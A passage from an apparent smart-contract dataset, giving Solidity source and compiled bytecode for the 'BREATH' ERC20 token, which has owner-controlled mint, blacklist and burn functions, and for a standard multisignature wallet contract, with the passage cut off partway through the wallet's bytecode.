allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract BlackList is Ownable, ERC20 { function getBlackListStatus(address _maker) external view returns (bool) { return blackLists[_maker]; } function getOwner() external view returns (address) { return owner; } mapping (address => bool) public blackLists; function addBlackList (address _evilUser) public onlyOwner { blackLists[_evilUser] = true; } function removeBlackList (address _clearedUser) public onlyOwner { blackLists[_clearedUser] = false; } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(blackLists[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); _burn(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } /** * @title BREATH * @author BREATH * * @dev Standard ERC20 token with burn, mint & blacklist. */ contract BREATH is BlackList { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Constructor. * @param name name of the token * @param symbol symbol of the token, 3-4 chars is recommended * @param decimals number of decimal places of one token unit, 18 is widely used * @param totalSupply total supply of tokens in lowest units (depending on decimals) * @param tokenOwnerAddress address that gets 100% of token supply */ constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address payable feeReceiver, address tokenOwnerAddress) public payable { _name = name; _symbol = symbol; _decimals = decimals; // set tokenOwnerAddress as owner of all tokens _mint(tokenOwnerAddress, totalSupply); // pay the service fee for contract deployment feeReceiver.transfer(msg.value); } /** * @dev Burns a specific amount of tokens. * @param value The amount of lowest token units to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } // optional functions from ERC20 stardard /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } function transfer(address _to, uint256 _value) public returns (bool) { require(!blackLists[msg.sender]); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!blackLists[_from]); return super.transferFrom(_from, _to, _value); } /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyOwner returns (bool) { _mint(account, amount); return true; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b25780630ecb93c01461022557806318160ddd1461027657806323b872dd146102a1578063313ce56714610334578063395093511461036557806340c10f19146103d857806342966c681461044b57806359bf1abe1461048657806370a08231146104ef578063893d20e8146105545780638da5cb5b146105ab57806395d89b4114610602578063a457c2d714610692578063a9059cbb14610705578063dd62ed3e14610778578063e392af3f146107fd578063e4997dc514610866578063f2fde38b146108b7578063f3bdc22814610908575b600080fd5b34801561012e57600080fd5b50610137610959565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b5061020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fb565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b506102746004803603602081101561024857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a12565b005b34801561028257600080fd5b5061028b610ac8565b6040518082815260200191505060405180910390f35b3480156102ad57600080fd5b5061031a600480360360608110156102c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ad2565b604051808215151515815260200191505060405180910390f35b34801561034057600080fd5b50610349610b41565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037157600080fd5b506103be6004803603604081101561038857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b58565b604051808215151515815260200191505060405180910390f35b3480156103e457600080fd5b50610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfd565b604051808215151515815260200191505060405180910390f35b34801561045757600080fd5b506104846004803603602081101561046e57600080fd5b8101908080359060200190929190505050610c6e565b005b34801561049257600080fd5b506104d5600480360360208110156104a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7b565b604051808215151515815260200191505060405180910390f35b3480156104fb57600080fd5b5061053e6004803603602081101561051257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd1565b6040518082815260200191505060405180910390f35b34801561056057600080fd5b50610569610d1a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105b757600080fd5b506105c0610d43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060e57600080fd5b50610617610d68565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065757808201518184015260208101905061063c565b50505050905090810190601f1680156106845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069e57600080fd5b506106eb600480360360408110156106b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0a565b604051808215151515815260200191505060405180910390f35b34801561071157600080fd5b5061075e6004803603604081101561072857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eaf565b604051808215151515815260200191505060405180910390f35b34801561078457600080fd5b506107e76004803603604081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1c565b6040518082815260200191505060405180910390f35b34801561080957600080fd5b5061084c6004803603602081101561082057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa3565b604051808215151515815260200191505060405180910390f35b34801561087257600080fd5b506108b56004803603602081101561088957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc3565b005b3480156108c357600080fd5b50610906600480360360208110156108da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611079565b005b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114e565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b6000610a0833848461121c565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6d57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600354905090565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b2d57600080fd5b610b3884848461137f565b90509392505050565b6000600760009054906101000a900460ff16905090565b6000610bf33384610bee85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b61121c565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5a57600080fd5b610c648383611451565b6001905092915050565b610c7833826115a7565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e005780601f10610dd557610100808354040283529160200191610e00565b820191906000526020600020905b815481529060010190602001808311610de357829003601f168201915b5050505050905090565b6000610ea53384610ea085600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b61121c565b6001905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f0a57600080fd5b610f14838361171f565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101e57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561114b57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a957600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561120157600080fd5b600061120c82610cd1565b905061121882826115a7565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561125857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561129457600080fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600061138c848484611736565b611425843361142085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b61121c565b600190509392505050565b600080828401905083811015151561144757600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561148d57600080fd5b6114a28160035461143090919063ffffffff16565b6003819055506114fa81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156115e357600080fd5b6115f8816003546116fd90919063ffffffff16565b60038190555061165081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600082821115151561170e57600080fd5b600082840390508091505092915050565b600061172c338484611736565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561177257600080fd5b6117c481600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea165627a7a723058205f2c2afbd20f6a5056c2c9cafe4e92726907dd0657697668083ff4b38c01f6400029
{"success": true, "error": null, "results": {}}
5,082
0xb2d6ba4899393f56402d0187d40e7606a4325ea0
pragma solidity ^0.5.0; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0)); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor (address[] memory _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes memory data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public view returns (uint count) { for (uint i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint count) { for (uint i = 0; i < transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] memory _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061012a5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c84146107c4578063c6427474146107ff578063d74f8edd14610905578063dc8452cd14610930578063e20056e61461095b578063ee22610b146109cc5761012a565b8063a0e67e2b146105b0578063a8abe69a1461061c578063b5dc40c3146106ce578063b77bf6001461075e578063ba51a6df146107895761012a565b806354741525116100f257806354741525146103675780637065cb48146103c4578063784547a7146104155780638b51d13f146104685780639ace38c2146104b75761012a565b8063025e7c2714610184578063173825d9146101ff57806320ea8d86146102505780632f54bf6e1461028b5780633411c81c146102f4575b6000341115610182573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561019057600080fd5b506101bd600480360360208110156101a757600080fd5b8101908080359060200190929190505050610a07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020b57600080fd5b5061024e6004803603602081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b005b34801561025c57600080fd5b506102896004803603602081101561027357600080fd5b8101908080359060200190929190505050610cd1565b005b34801561029757600080fd5b506102da600480360360208110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b604051808215151515815260200191505060405180910390f35b34801561030057600080fd5b5061034d6004803603604081101561031757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e93565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b506103ae6004803603604081101561038a57600080fd5b81019080803515159060200190929190803515159060200190929190505050610ec2565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b50610413600480360360208110156103e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f54565b005b34801561042157600080fd5b5061044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050611167565b604051808215151515815260200191505060405180910390f35b34801561047457600080fd5b506104a16004803603602081101561048b57600080fd5b810190808035906020019092919050505061124c565b6040518082815260200191505060405180910390f35b3480156104c357600080fd5b506104f0600480360360208110156104da57600080fd5b8101908080359060200190929190505050611315565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610572578082015181840152602081019050610557565b50505050905090810190601f16801561059f5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105bc57600080fd5b506105c561140a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106085780820151818401526020810190506105ed565b505050509050019250505060405180910390f35b34801561062857600080fd5b506106776004803603608081101561063f57600080fd5b810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611498565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ba57808201518184015260208101905061069f565b505050509050019250505060405180910390f35b3480156106da57600080fd5b50610707600480360360208110156106f157600080fd5b81019080803590602001909291905050506115fc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074a57808201518184015260208101905061072f565b505050509050019250505060405180910390f35b34801561076a57600080fd5b50610773611828565b6040518082815260200191505060405180910390f35b34801561079557600080fd5b506107c2600480360360208110156107ac57600080fd5b810190808035906020019092919050505061182e565b005b3480156107d057600080fd5b506107fd600480360360208110156107e757600080fd5b81019080803590602001909291905050506118e4565b005b34801561080b57600080fd5b506108ef6004803603606081101561082257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561086957600080fd5b82018360208201111561087b57600080fd5b8035906020019184600183028401116401000000008311171561089d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611ad1565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b5061091a611af0565b6040518082815260200191505060405180910390f35b34801561093c57600080fd5b50610945611af5565b6040518082815260200191505060405180910390f35b34801561096757600080fd5b506109ca6004803603604081101561097e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611afb565b005b3480156109d857600080fd5b50610a05600480360360208110156109ef57600080fd5b8101908080359060200190929190505050611e05565b005b60038181548110610a1457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7b57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ad257600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610c52578273ffffffffffffffffffffffffffffffffffffffff1660038281548110610b6457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c4557600360016003805490500381548110610bc057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660038281548110610bf857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c52565b8080600101915050610b30565b506001600381818054905003915081610c6b9190612233565b506003805490506004541115610c8a57610c8960038054905061182e565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d2857600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d9157600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610dbf57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610f4d57838015610f01575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f345750828015610f33575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f40576001820191505b8080600101915050610eca565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8c57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fe457600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561101f57600080fd5b6001600380549050016004546032821115801561103c5750818111155b8015611049575060008114155b8015611056575060008214155b61105f57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60038054905081101561124457600160008581526020019081526020016000206000600383815481106111a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611222576001820191505b60045482141561123757600192505050611247565b8080600101915050611174565b50505b919050565b600080600090505b60038054905081101561130f576001600084815260200190815260200160002060006003838154811061128357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff